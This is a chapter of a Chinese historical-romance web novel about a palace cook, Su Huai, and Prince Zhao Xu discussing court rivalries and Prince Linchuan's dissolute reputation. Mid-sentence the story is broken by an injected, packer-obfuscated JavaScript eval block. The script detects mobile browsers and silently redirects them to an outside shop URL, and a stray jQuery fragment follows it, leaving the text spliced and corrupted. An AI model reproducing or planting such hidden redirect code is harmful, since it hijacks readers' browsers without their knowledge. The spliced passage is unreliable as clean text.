文趣网 > 其他小说 > 胖美人汴京金馈录 > 12. 严肃地探讨厨艺
    苏徊只得明白说开道:“妾只是担忧殿下一入宫便逐人,怕前朝御史弹劾,损了殿下的名誉和在天子心中的印象。”

    毕竟天子向来待宫人都以宽宥和平为纪。且赵煦要逐的并不是他本宫的宫人,而是隶属二十四司的女史,位置虽低,跨越的部属架构却多,动静绝小不了。

    赵煦听得这话,却不知触动心中何事,浓眉大眼间浮上三分讥诮神色,笃然拉长尾音道:“这般说,面面俱到的苏女史,于争储一事,竟然是站在本王这一边的了?”

    不待苏徊回答却意味深长道:“昨日女史离了孤的华英阁,立刻便去了临川王那边。不知女史对临川王观感又是如何?”

    苏徊整个人都有点懵了。

    这是哪跟哪?怎么一天半夜不到,便是两次同一道送命题送到她跟前?

    她心想:你和赵渊谁好,这问题拿来为难我一个女史,何必呢?

    我的认为又没有用。

    她委婉地道:“妄议尊上是死罪,恕这问题妾不能回答。”

    又道:“妾方才之议只为殿下着想,殿下明鉴。”

    再道:“当然若殿下觉得妾多管闲事,尽可自专。妾不过深宫妇人,见识有限,方才是妾莽撞。”

    苏徊是多么地努力将话题拉回正轨,以免在“孤与临川王孰美”这个送命题上纠缠。毕竟她也不是他们的妻或者妾或友人。

    她也在努力提醒赵煦:她的看法无足轻重。

    但她又忍不住想起,她在赵睿面前并非是如此打哈哈敷衍过去的。不由得心下黯然。

    她对赵睿,果然还是不一样吗?

    赵渊能激动她的真气,亦能逼出她的傲骨。而若是旁人,她还是一个原则“圆转稳妥”。

    幸好赵煦也和赵渊不一样,回过神来立觉方才的追问有失风度,便也不再迫她,而只轻哼了一声。

    苏徊要说的话也已经说尽,便只默然。

    她已经表态了:我方才确是一片真心为您考虑,您不爱听自可以将我的话当作鸡鸣狗吠……

    还要谦卑到哪里去?

    赵煦终于道:“若因害怕言官弹劾,失去美名,便连该做的事都不做了吗?”

    苏徊闻言一震,忍不住举目看他,却正对上他眼中坦荡。

    赵煦的话,着实惊到了她。她一生服侍贵宦高门,登堂入室,这却是她从未听过的言论。

    以往偶得一二闻,也多是如何避祸,如何揣测上意,如何不令自己利益有所失,简言之四字“趋利避害”。

    却唯独少了另外四个字。

    苏徊瞧着赵煦,心中不禁浮现出来这四字:

    “敢作敢当”。

    赵煦又道:“若你们未来的天子,便是这样一个人,女史不觉齿冷?”

    苏徊瞧着他凛凛仪表,浓眉大目,忽而地又想起时人对他的评语:

    “赵姓子弟之中,有太祖风范。”

    她长吁一口气,由衷道:“殿下行事出人意表,非苏徊所能妄度。但,苏徊很欣赏。”

    两人地位悬殊,赵煦又何须她一个女史欣赏?但这却是苏徊的真心话。

    而真心话却是宫廷中最难得的。

    赵煦听了这一句,不出意外地,眉宇间有欣悦一闪而逝。

    他郑重道:“方才若非你竟打算为我出头揽事,我也不会有这番真心剖白。苏徊,以后日子长得很,希望我没看错你。”

    苏徊为之暗自汗颜。

    在临川王府张夫人眼里,她就是早该死的人。如今苟且藏生于尚食局,有何值得赵煦看错看对的价值。

    她接话道:“殿下方才说,此来找我,是为了向我打听一个人。”

    赵煦吁了一口气,道:“此刻已无心情。日后若有机会,再说罢。”

    苏徊情知他来找自己所问之事,必然不欲惊动旁人,可这般被祝窈一搅,怕已是传得沸沸扬扬。贬斥宫中女官,少不得要惊动司宫令及皇后,前朝御史也会有所风闻。他接下来要应付的事,必然够他头痛。故不欲于此刻再生枝节。

    赵煦并非不清楚自己所为的后果。

    无论如何,赵煦陷身此事,终是因他“不耻下问”,亲来御厨访她所致。他若安居于他那三进重门的宫殿之内,便断不会有什么攀龙附凤之人能唐突得了他。

    苏徊一念及此,便有了几分愧疚。她一眼扫去,见灶旁案头还有一盘没被动过的烤玉蕈,急中生智道:“那碟玉蕈没人动过,我给殿下打包好带回去,旁人若问今日殿下来问什么,我便说殿下是来探讨厨艺。”

    说罢也不等赵煦反对,便快手快脚将玉蕈连碟子收进食盒内,提着道:“我送殿下出去。”

    赵煦皱眉,他平生磊落,不喜撒谎,何况他并不认为他来找苏徊是什么见不得人的事。

    但经历了今日一遭,他也知如今是在宫中,人多眼杂,便也由她。

    苏徊在前领路,赵煦在后,嗅着熟透了的混合着油香的蕈香,心情也从方才祝窈搅局之中恢复了些许,忽然道:“此前问你临川王一句,是以为你与俗人一般,沽名好誉生怕担当,也是攀附权势之人,是孤失礼了。”

    苏徊想起来他那句意带讽刺,突然发难的“面面俱到的苏女史,于争储一事,竟然是站在本王这一边的了?”,才琢磨出个中意味,不由得淡淡一笑道:“妾本是再俗不过的一个人。”

    赵煦却加重了语气道:“孤此刻问你,你却要认真答我:昨日一见之下,你对临川王观感如何?”

    他再加紧一句道:“这句问,却是为你,而不是为我。”

    苏徊没想到这话兜兜转转又到了这上头来,登时面色尴尬。幸好她在前引路,赵煦看不到她的表情。

    她沉默片刻,不得不答道:“临川王俊美风流,在妾这等下人望来,有若天人,”

    她再加一句道:“断不敢存半点逾越之心。”

    苏徊之所以加上最后一句,是唯恐赵煦误会。她所言赵睿之语,也句句属实,并无假饰。

    她并不知赵煦这会忽然问她这个,是何用意。

    若他指的是男女情愫,那么赵渊绝不可能看上目前的她。那就只有一种可能:他担心自己看上赵睿。

    故此她刻意表明,对赵渊绝无此想。

    赵煦自鼻子里哼了一声,而后不轻不重地道:“孤不知临川王找你何事,但孤与你既有了这点交情,有些话还是告诉你为好。”

    苏徊预感

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610455|205916||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不大妙,却仍旧道:“请殿下赐教。”

    赵煦意味深长地道:“临川王确是风流,但孤所说的风流怕并非你所说的风流。”

    苏徊闻言一震。她所说的风流,自然是神采飞扬,形迹洒脱之意,哪敢有别的意思。而赵煦所言的“风流”是何意,她忽然不敢想下去。

    但不必她想,赵煦已经明明白白说了出来:

    “昔在临川,他便浪迹花街柳巷,青楼楚馆,薄有声名,清、淮官场人人皆知。”

    苏徊有一种世界瞬间被割裂的感觉。

    那不是她认识的赵渊。

    赵煦继续道:“为他伤过心的有名女子,十个指头都数不过来。这在男子,也许算不上大事。但他近两年来,似乎一直在寻访一个称心合意的厨子,却始终未得。”

    苏徊的脚步不由自主刹住,后面跟着的赵煦险些便撞到她身上,他亦是堪堪收步。

    苏徊感到赵煦在她身后,距离极近,立即强压住心中情绪,收拾好自己面色。

    赵煦虽然凌厉,却始终是男子,不会心细若此。更何况眼前赵睿与他一般,入宫才一天,他也并未认为苏徊与赵睿会有多么深的牵涉,不过是顺势警告她一声而已。

    苏徊听得自己声音淡淡道:“这些,殿下都是道听途说来的吗?”

    自然应该是。没有人比她更熟悉从前的赵渊。她曾经登堂入室,片刻不离的陪侍他左右。他固然有应酬,但无论多晚他都必会回来。他最后入眠前,亦是她熄灭他榻前灯火,为他盖上被褥,方才掩好门出去。

    赵煦……他又怎么知道赵渊是怎样的人!

    赵煦像说着再普通不过的事:“即便道听途说,也是当地官场人人皆知。孤过临川时,听当地官员传说颇多。”

    他看了一眼苏徊手中提盒,续道:“譬如当地最大青楼翠云楼,便有一道极似酥烤玉蕈的菜,不过是以清酒煮之,而非宫中的煎烤。据说便由临川王亲口指点而成。青楼中人名之为‘一顷芙蓉’,因撕成小块的片片玉蕈在清汤内散开,似芙蓉浸漫波中之意。”

    他又道:“经翠云楼制成后,此菜式便在当地青楼酒肆传开,此外听说还有不少别的菜式,如梅花汤饼之类,据说是以银模子将汤饼凿就梅花模样,南来北往的官员都见识过,也都啧啧称奇,到得京中后也常以为谈资,所以孤才知道。”

    他淡淡地道:“赵睿‘善于体物,别具匠心’的名声,也是这般传出来的。”

    苏徊一时心中不知是何滋味。

    虽然再难接受,却也知赵煦犯不着说假话骗她。

    原来自己曾经呕心沥血为赵睿研制的菜品,却被他这般“不经意地”传诸青楼和官场,成为赢取身价和名气的谈资。

    她曾经以为的,哪怕她从他的世界消失,这些精心烹饪的点点滴滴,是只存在于他们之间的小小感动和火花。

    会停留在那个午后的初雪,那一季夏日的窗前,成为他对她不可替代的回忆。

    赵煦的声音继续地响着:“有人问过他说,君子远庖厨,临川王自然不会亲自下厨,这些时新菜式不知是哪里来的?你猜他怎么回答的?”

    苏徊心口一紧,本能地道:“他如何回答?”